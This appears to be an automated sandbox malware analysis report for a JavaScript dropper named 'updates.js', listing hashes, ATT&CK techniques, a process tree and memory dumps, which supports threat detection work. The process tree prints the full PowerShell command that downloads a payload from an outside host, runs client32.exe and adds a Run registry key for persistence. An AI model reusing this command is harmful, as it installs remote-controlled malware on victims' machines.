10585bbc8a42ce31feda61126cd245ec22d98870fde6c2742d44ef08eaa11b67

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
05-06-2024 16:31

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General

Target

updates.js
Size

7.3MB
MD5

a05000c90cff2539713a0c3036ddde7d
SHA1

906117ba8d23127d1f60c2bbb50415038e0933d1
SHA256

10585bbc8a42ce31feda61126cd245ec22d98870fde6c2742d44ef08eaa11b67
SHA512

554662f8fe351e9dc8f9e7cbf4fd072d4cbcd2e7ca31699c959bfc3106630acb52d1e14e368ba75182ae150db72422aba7052cad3b3e5a64120ae02bd2e80542
SSDEEP

49152:e7h4zjCxb7qHlp4XONN0G7h20kQmwYzYMm7u+8wgJ3wr/xN1GIWx3qpWROg2cE0M:p

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://lilygovert91.top/data.php?13264

exe.dropper

http://lilygovert91.top/data.php?13264

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2264	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2264	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2264	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2264	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 2264	1732	wscript.exe	28
PID 1732 wrote to memory of 2264	1732	wscript.exe	28
PID 1732 wrote to memory of 2264	1732	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QAWIRCZGEPZ='http://lilygovert91.top/data.php?13264';$URIC=(New-Object System.Net.WebClient).DownloadString($QAWIRCZGEPZ);$DUCB=[System.Convert]::FromBase64String($URIC);$asd = Get-Random -Minimum -10 -Maximum 37; $MBZSXZG=[System.Environment]::GetFolderPath('ApplicationData')+'\FVQT'+$asd;if (!(Test-Path $MBZSXZG -PathType Container)) { New-Item -Path $MBZSXZG -ItemType Directory };$p=Join-Path $MBZSXZG 'wah.zip';[System.IO.File]::WriteAllBytes($p,$DUCB);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$MBZSXZG)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $MBZSXZG 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $MBZSXZG -Force; $fd.attributes='Hidden';$s=$MBZSXZG+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='GWNBWMKOA';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2264-4-0x000007FEF63CE000-0x000007FEF63CF000-memory.dmp

Filesize
4KB

Download
memory/2264-5-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

Filesize
2.9MB

Download
memory/2264-6-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2264-7-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2264-8-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2264-9-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2264-11-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download